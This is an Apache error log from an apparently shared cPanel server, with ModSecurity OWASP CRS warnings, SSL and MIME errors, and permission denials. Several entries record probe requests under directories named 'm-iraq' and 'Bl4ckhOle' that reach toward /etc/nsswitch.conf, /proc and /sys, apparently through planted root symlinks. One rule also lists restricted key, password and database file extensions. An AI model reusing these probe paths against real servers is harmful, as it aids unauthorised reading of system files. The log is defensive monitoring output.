[Fri Jul 17 08:52:37.700516 2026] [security2:error] [pid 2018757:tid 2018757] [client 47.128.48.122:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/etc/nsswitch.conf"] [unique_id "almf_UkXT4NBqALj2lZ8LwAAABA"]
[Fri Jul 17 08:52:37.701125 2026] [security2:error] [pid 2018757:tid 2018757] [client 47.128.48.122:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/etc/nsswitch.conf"] [unique_id "almf_UkXT4NBqALj2lZ8LwAAABA"]
[Fri Jul 17 08:52:37.701557 2026] [security2:error] [pid 2018757:tid 2018757] [client 47.128.48.122:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/etc/nsswitch.conf"] [unique_id "almf_UkXT4NBqALj2lZ8LwAAABA"]
[Fri Jul 17 08:52:40.607127 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:52:40.634790 2026] [mime:warn] [pid 2018767:tid 2018767] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:52:41.213986 2026] [ssl:error] [pid 2018758:tid 2018758] (70014)End of file found: [client 66.85.158.91:57520] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:52:41.295010 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:52:41.485293 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:52:42.677923 2026] [ssl:error] [pid 2013829:tid 2013829] (70014)End of file found: [client 66.85.158.91:35768] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:52:43.180487 2026] [ssl:error] [pid 2013797:tid 2013797] (70014)End of file found: [client 66.85.158.91:35832] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:52:43.312177 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:52:46.416669 2026] [security2:error] [pid 2014256:tid 2014256] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almgBYZvbo7N5o5zeYC92AAAABw"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1045&page_105=1454
[Fri Jul 17 08:52:46.416705 2026] [security2:error] [pid 2014256:tid 2014256] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almgBYZvbo7N5o5zeYC92AAAABw"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1045&page_105=1454
[Fri Jul 17 08:52:47.387779 2026] [core:error] [pid 2018758:tid 2018758] (13)Permission denied: [client 57.141.18.21:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory89/node0/memory40/subsystem/devices/memory124/node0/compact
[Fri Jul 17 08:52:48.538831 2026] [ssl:error] [pid 2023579:tid 2023579] (70014)End of file found: [client 66.85.158.91:36014] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:52:48.716309 2026] [ssl:error] [pid 2018757:tid 2018757] (70014)End of file found: [client 66.85.158.91:36020] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:52:49.217933 2026] [ssl:error] [pid 2014256:tid 2014256] (70014)End of file found: [client 66.85.158.91:36054] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:52:49.715766 2026] [security2:error] [pid 2018767:tid 2018767] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almgCaquHSHoCJK_V0SAyAAAABs"], referer: http://anandaobauae.org/?fb_locale=th_THuploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 08:52:49.715822 2026] [security2:error] [pid 2018767:tid 2018767] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almgCaquHSHoCJK_V0SAyAAAABs"], referer: http://anandaobauae.org/?fb_locale=th_THuploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 08:52:51.726187 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:52:51.825722 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:52:51.935792 2026] [mime:warn] [pid 2018767:tid 2018767] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:52:52.166023 2026] [mime:warn] [pid 2018770:tid 2018770] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:52:52.173490 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:52:53.298669 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:38452] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:52:53.601310 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:52:54.040225 2026] [ssl:error] [pid 1993574:tid 1993574] (70014)End of file found: [client 66.85.158.91:38478] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:52:54.725317 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:38500] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:52:55.231128 2026] [ssl:error] [pid 1993715:tid 1993715] (70014)End of file found: [client 66.85.158.91:38534] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:52:55.676812 2026] [security2:error] [pid 2018767:tid 2018767] [client 117.4.163.22:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/bostonlanka-global": Permission denied [hostname "bostonlanka.com"] [uri "/xmlrpc.php"] [unique_id "almgD6quHSHoCJK_V0SAzgAAABs"]
[Fri Jul 17 08:52:55.676842 2026] [security2:error] [pid 2018767:tid 2018767] [client 117.4.163.22:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/bostonlanka-ip": Permission denied [hostname "bostonlanka.com"] [uri "/xmlrpc.php"] [unique_id "almgD6quHSHoCJK_V0SAzgAAABs"]
[Fri Jul 17 08:52:56.457335 2026] [ssl:error] [pid 2018767:tid 2018767] (70014)End of file found: [client 66.85.158.91:38606] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:52:56.481253 2026] [security2:error] [pid 2018758:tid 2018758] [client 216.244.66.236:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "anandaobauae.org"] [uri "/public_html/admin/"] [unique_id "almgEIRpm5MObcED3Q9sZgAAABE"]
[Fri Jul 17 08:52:56.482008 2026] [security2:error] [pid 2018758:tid 2018758] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "anandaobauae.org"] [uri "/public_html/admin/"] [unique_id "almgEIRpm5MObcED3Q9sZgAAABE"]
[Fri Jul 17 08:52:56.482382 2026] [authz_core:error] [pid 2018758:tid 2018758] [client 216.244.66.236:0] AH01630: client denied by server configuration: /home/anandaob/public_html/public_html/admin/error_log
[Fri Jul 17 08:52:56.574812 2026] [security2:error] [pid 2018758:tid 2018758] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "anandaobauae.org"] [uri "/public_html/admin/"] [unique_id "almgEIRpm5MObcED3Q9sZgAAABE"]
[Fri Jul 17 08:52:57.768705 2026] [ssl:error] [pid 2018758:tid 2018758] (70014)End of file found: [client 66.85.158.91:38680] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:52:58.394466 2026] [ssl:error] [pid 2029573:tid 2029573] (70014)End of file found: [client 66.85.158.91:38710] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:52:58.461578 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:38736] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:53:00.376506 2026] [ssl:error] [pid 2029578:tid 2029578] (70014)End of file found: [client 66.85.158.91:38826] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:53:00.751503 2026] [ssl:error] [pid 1996894:tid 1996894] (70014)End of file found: [client 66.85.158.91:38846] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:53:00.905303 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:53:00.921592 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:53:00.923101 2026] [security2:error] [pid 2018757:tid 2018757] [client 47.82.52.67:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:54/subsystem/tty41/"] [unique_id "almgFEkXT4NBqALj2lZ8PwAAABA"]
[Fri Jul 17 08:53:00.923125 2026] [security2:error] [pid 2018757:tid 2018757] [client 47.82.52.67:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:54/subsystem/tty41/"] [unique_id "almgFEkXT4NBqALj2lZ8PwAAABA"]
[Fri Jul 17 08:53:01.590109 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:53:01.740111 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:53:02.072640 2026] [mime:warn] [pid 2023579:tid 2023579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:53:03.207884 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:53:03.212468 2026] [mime:warn] [pid 2015125:tid 2015125] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:53:03.830650 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:53:06.176799 2026] [ssl:error] [pid 2013797:tid 2013797] (70014)End of file found: [client 66.85.158.91:53316] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:53:09.812279 2026] [ssl:error] [pid 2013829:tid 2013829] (70014)End of file found: [client 66.85.158.91:53490] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:53:10.845355 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:53:11.287553 2026] [mime:warn] [pid 2029578:tid 2029578] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:53:11.288818 2026] [security2:error] [pid 2029578:tid 2029578] [client 47.82.53.28:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:36/subsystem/ttyS0/subsystem/tty6/"] [unique_id "almgH-AWfjQYPPNxgcuQhgAAAA0"]
[Fri Jul 17 08:53:11.288873 2026] [security2:error] [pid 2029578:tid 2029578] [client 47.82.53.28:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:36/subsystem/ttyS0/subsystem/tty6/"] [unique_id "almgH-AWfjQYPPNxgcuQhgAAAA0"]
[Fri Jul 17 08:53:11.750711 2026] [ssl:error] [pid 1993668:tid 1993668] (70014)End of file found: [client 66.85.158.91:57250] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:53:11.773326 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:53:11.922342 2026] [mime:warn] [pid 2014256:tid 2014256] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:53:12.836499 2026] [mime:warn] [pid 2029578:tid 2029578] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:53:13.572696 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:53:13.804710 2026] [mime:warn] [pid 2014256:tid 2014256] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:53:13.820599 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:53:13.874581 2026] [ssl:error] [pid 2029579:tid 2029579] (70014)End of file found: [client 66.85.158.91:57354] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:53:14.168744 2026] [mime:warn] [pid 2023579:tid 2023579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:53:14.660163 2026] [security2:error] [pid 2018741:tid 2018741] [client 216.244.66.236:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "anandaobauae.org"] [uri "/public_html/anandaV4/"] [unique_id "almgIroj0IkvhSCYadmBNwAAAAQ"]
[Fri Jul 17 08:53:14.660706 2026] [security2:error] [pid 2018741:tid 2018741] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "anandaobauae.org"] [uri "/public_html/anandaV4/"] [unique_id "almgIroj0IkvhSCYadmBNwAAAAQ"]
[Fri Jul 17 08:53:14.760137 2026] [security2:error] [pid 2018741:tid 2018741] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "anandaobauae.org"] [uri "/public_html/anandaV4/"] [unique_id "almgIroj0IkvhSCYadmBNwAAAAQ"]
[Fri Jul 17 08:53:15.318290 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:53:15.319045 2026] [mime:warn] [pid 2014256:tid 2014256] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:53:15.867140 2026] [ssl:error] [pid 1993619:tid 1993619] (70014)End of file found: [client 66.85.158.91:57440] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:53:15.868618 2026] [security2:error] [pid 2013809:tid 2013809] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almgI0gVnBK6wAv37w6rxwAAABQ"], referer: http://anandaobauae.org/?C=N;O=Auploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 08:53:15.868677 2026] [security2:error] [pid 2013809:tid 2013809] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almgI0gVnBK6wAv37w6rxwAAABQ"], referer: http://anandaobauae.org/?C=N;O=Auploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 08:53:16.131085 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:53:16.935726 2026] [ssl:error] [pid 2018768:tid 2018768] (70014)End of file found: [client 66.85.158.91:57498] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:53:17.687768 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:53:17.733419 2026] [ssl:error] [pid 1993715:tid 1993715] (70014)End of file found: [client 66.85.158.91:57542] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:53:17.966009 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:53:18.132506 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:53:20.969253 2026] [ssl:error] [pid 2018767:tid 2018767] (70014)End of file found: [client 66.85.158.91:57692] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:53:22.391988 2026] [ssl:error] [pid 2023579:tid 2023579] (70014)End of file found: [client 66.85.158.91:49720] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:53:23.157373 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:53:23.174457 2026] [core:error] [pid 2014256:tid 2014256] (13)Permission denied: [client 47.82.53.23:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/dev/char/246:1/device/subsystem/devices/0000:00:07.0/resource0
[Fri Jul 17 08:53:24.141571 2026] [ssl:error] [pid 1993619:tid 1993619] (70014)End of file found: [client 66.85.158.91:49768] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:53:24.406207 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:53:24.820324 2026] [ssl:error] [pid 2013809:tid 2013809] (70014)End of file found: [client 66.85.158.91:49798] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:53:24.849016 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:53:25.588131 2026] [core:error] [pid 1993715:tid 1993715] (13)Permission denied: [client 57.141.18.53:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory22/node0/memory3/node0/memory133/node0/memory87/subsystem/drivers_probe
[Fri Jul 17 08:53:26.091272 2026] [security2:error] [pid 2028246:tid 2028246] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almgLTsMb3am0TgkjETagQAAAAo"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1047&page_105=1456
[Fri Jul 17 08:53:26.091326 2026] [security2:error] [pid 2028246:tid 2028246] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almgLTsMb3am0TgkjETagQAAAAo"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1047&page_105=1456
[Fri Jul 17 08:53:28.087740 2026] [ssl:error] [pid 2013830:tid 2013830] (70014)End of file found: [client 66.85.158.91:49928] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:53:30.951847 2026] [ssl:error] [pid 2018770:tid 2018770] (70014)End of file found: [client 66.85.158.91:50006] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:53:31.846358 2026] [security2:error] [pid 1993574:tid 1993574] [client 216.244.66.236:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/"] [unique_id "almgM90t9Kb_MdNxrg7B9AAAAAM"]
[Fri Jul 17 08:53:31.847104 2026] [security2:error] [pid 1993574:tid 1993574] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/"] [unique_id "almgM90t9Kb_MdNxrg7B9AAAAAM"]
[Fri Jul 17 08:53:32.062990 2026] [authz_core:error] [pid 1993574:tid 1993574] [client 216.244.66.236:0] AH01630: client denied by server configuration: /home/anandaob/public_html/KSoft-AnandaOBAUAE_2/error_log
[Fri Jul 17 08:53:32.160106 2026] [security2:error] [pid 1993574:tid 1993574] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/"] [unique_id "almgM90t9Kb_MdNxrg7B9AAAAAM"]
[Fri Jul 17 08:53:33.498836 2026] [core:error] [pid 2018767:tid 2018767] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/bus/memory/devices/memory124/node0/cpu2/driver/unbind
[Fri Jul 17 08:53:38.013947 2026] [ssl:error] [pid 2013797:tid 2013797] (70014)End of file found: [client 66.85.158.91:52080] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:53:39.727822 2026] [ssl:error] [pid 2013830:tid 2013830] (70014)End of file found: [client 66.85.158.91:52154] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:53:40.076433 2026] [ssl:error] [pid 2014256:tid 2014256] (70014)End of file found: [client 66.85.158.91:52196] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:53:41.280927 2026] [mime:warn] [pid 2018770:tid 2018770] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:53:41.514152 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:53:41.606981 2026] [mime:warn] [pid 2023579:tid 2023579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:53:41.684112 2026] [mime:warn] [pid 2015125:tid 2015125] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:53:41.877254 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:53:42.072091 2026] [mime:warn] [pid 2023579:tid 2023579] AH01599: Cannot get media type from 'txt'
